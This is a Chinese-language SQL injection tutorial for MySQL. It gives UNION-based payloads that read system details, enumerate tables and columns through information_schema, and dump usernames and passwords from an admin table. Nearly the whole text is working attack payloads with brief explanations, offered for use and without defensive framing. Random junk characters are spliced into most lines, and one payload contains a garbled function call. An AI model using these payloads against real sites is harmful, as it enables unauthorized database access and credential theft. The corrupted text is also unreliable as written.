本文介绍MYSQL盲注的一些语句和方法
8 H. X+ i- w% @8 a8 D
# t8 n4 z: g' b. N! ^7 |" |# z学习盲注前先了解下 IFORMATION_SCHEMA 库
B+ E7 U0 F4 J2 O& D5 B7 A- ~. O2 y5 R/ P2 v x
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有4 a0 B F7 h- i/ c% D" a/ m( i
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。/ Y; d: [6 V: }5 ^* c* R
1.得到所有数据库名:
6 ~5 p: X* L; O( w* T& X|SCHEMATA ->存储数据库名的表* ^$ D3 [0 D4 ^: ~, j
|---字段:SCHEMA_NAME ->数据库名称
D! y) q5 s/ A
/ D+ J' V; r' S/ C0 i8 c3 {|TABLES ->存储表名- T. e7 W' n# A
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
5 I2 ^( X8 f& R# L2 F|---字段:TABLE_NAME ->存储表的表名6 J& F; j) E: G, P5 ~
: [# l" M. B8 {2 C4 J|COLUMNS ->存储的字段名表
& U8 j- ?! ~) P% `$ k|---字段:TABLE_SCHEMA ->该字段所属数据库名
& W4 j1 {! T! r4 {# h|---字段:TABLE_NAME ->存储所属表的名称
, K: n9 r- Z1 Z- {# f
9 x8 h; X, q* \, p|---字段:COLUMN_NAME ->该字段的名称- y0 S( i! w# t- }+ ]' }
) |$ F$ @+ _5 y( s. \
% V. `" l, Y& c/ {3 y2 R/ t w3 T2 u. o3 W# i5 K
###########################################################################; N( G& B ^4 H
$ z* W/ B# \9 R& R6 ~9 @) m0x001 获取系统信息:
, G, B# y$ |5 f6 s2 V
0 k) N1 |9 `/ S' \% punion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*4 v- F( d1 |8 E: k5 K {6 b0 X
# u/ [, o6 \, q$ \3 ~/*
- D0 m6 T* C; d5 V; c$ e+ t( E! \4 h1 x/ @0 N! ?
@@global.version_compile_os 获取系统版本
0 r8 Z9 X! d" G$ h4 _" n! A( _* W* ?* A ^( U
@@datadir 数据库路径6 V; X1 R2 x- U6 q& @8 ~% l$ S' C( w
database() 当前数据库名称! E2 X! ~* }. s- H: m
0x3c62723e 换行HEX值
) S" g6 k% @7 V$ x: O
, h/ x& r1 J$ T$ }- w4 n+ ?: P*/
: l+ l& b0 I9 N# R# n+ L' J% E% D* M @9 c
* W' e- ] v/ H: x
0 a& k2 [) Q) Z& m2 k2 M9 i
######################################################################
1 r6 L' E6 W$ |! W S
) p2 K, C1 M9 D$ i v0x002 获取表名 c- h/ c2 _; x$ s* j+ w4 p
8 h- T2 j; J4 S2 Cunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
9 ~0 S) c7 p5 ^& C6 x3 R! F S i! o; W3 R* v
1 G- P" p3 i$ {% j, L- b# r
) c5 e5 a5 {- w* O4 P) _/*
8 V4 O9 c4 _2 [* _4 z) M" X. s) R7 i0 t, E
0x67617264656e 为当前数据库名3 W# t. f* m( |$ t; n- c
0 |' o8 P! E7 _7 Z& Q; d/ A$ Kgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
& b, Y5 l8 E' w' _8 R: L* D# A9 F- U q
*/
" Y. {% E+ e+ z! i/ k p& s+ \/ q' E% |% r
######################################################################
6 |- z. k- F% [1 ~
% W( }- g) b1 Y h& k
2 K0 w" ]% j0 _4 m- d4 T
' A$ v# E6 A: {$ c [& W0x003 获取字段# Q/ d$ A0 m% S4 `1 T7 W
3 e/ p; _, U2 S D5 m' Iunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*2 l' H N' z! N, e1 K7 K' ^
8 _1 s' x* w- g, I
/*
, }; {1 H( @1 Z' H/ U, `# O6 ` h" v7 q j' X6 L0 m: f2 l9 n
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段4 h& `" l. i" o% e' U& v+ @
, o3 f7 ` H$ e8 w" |" [/ z0 T0x61646d696e ->选择一个表9 r. @- D' \6 l6 J, h) j+ Q
7 U1 c8 q' [0 Z, d4 V9 y: v
0x67617264656e ->数据库名
7 V/ P; M# {2 X
3 D% e" W- ?5 r+ x3 r5 F*/( M S" {) C4 n. o
# p$ ]8 B) ?& R) G, y0 b7 A5 L5 m. U
#####################################################################
7 o7 y1 {& @6 N7 E# |+ _+ ^+ f2 e; @9 p6 J1 B0 P2 _' y
& _5 k2 K) d, k, _8 M" m4 o" J9 M5 ?
) d w6 l# a# X2 ~& z( i6 o* \0x004 获取数据
7 r9 R ^1 S6 Y- Z' k) x8 z* B+ g; Y0 b1 b' e @) ]7 z
union select 1,2,3
+ h6 D# U4 Q8 v$ j( U,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin9 H! A9 p v, o ~: {! r6 m
0 G7 P9 A7 R/ t
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin. { I' t, k2 k! U# n
0 e' X9 v$ L/ B
2 Y: y/ \* T% ^% P4 r. U! q: u a/ `+ ]
/*
6 c$ |! t0 v+ z( ]5 E+ o: t7 C' m0 M/ m/ O
0x3c62723e 换行符号HEX编码
) R: o/ t/ ~6 e" b0 n" U" M0 a9 M: }1 L7 E! r& k! @' }9 \2 { f
group_concat 同时获得该字段所有数据0 a. Z. d: c0 D$ [2 }( \- [5 f$ D
5 {0 Y% J5 F: L% L/ M6 m& q*/
, |3 w1 J0 H3 ]: C- M
2 A; a ], t6 b |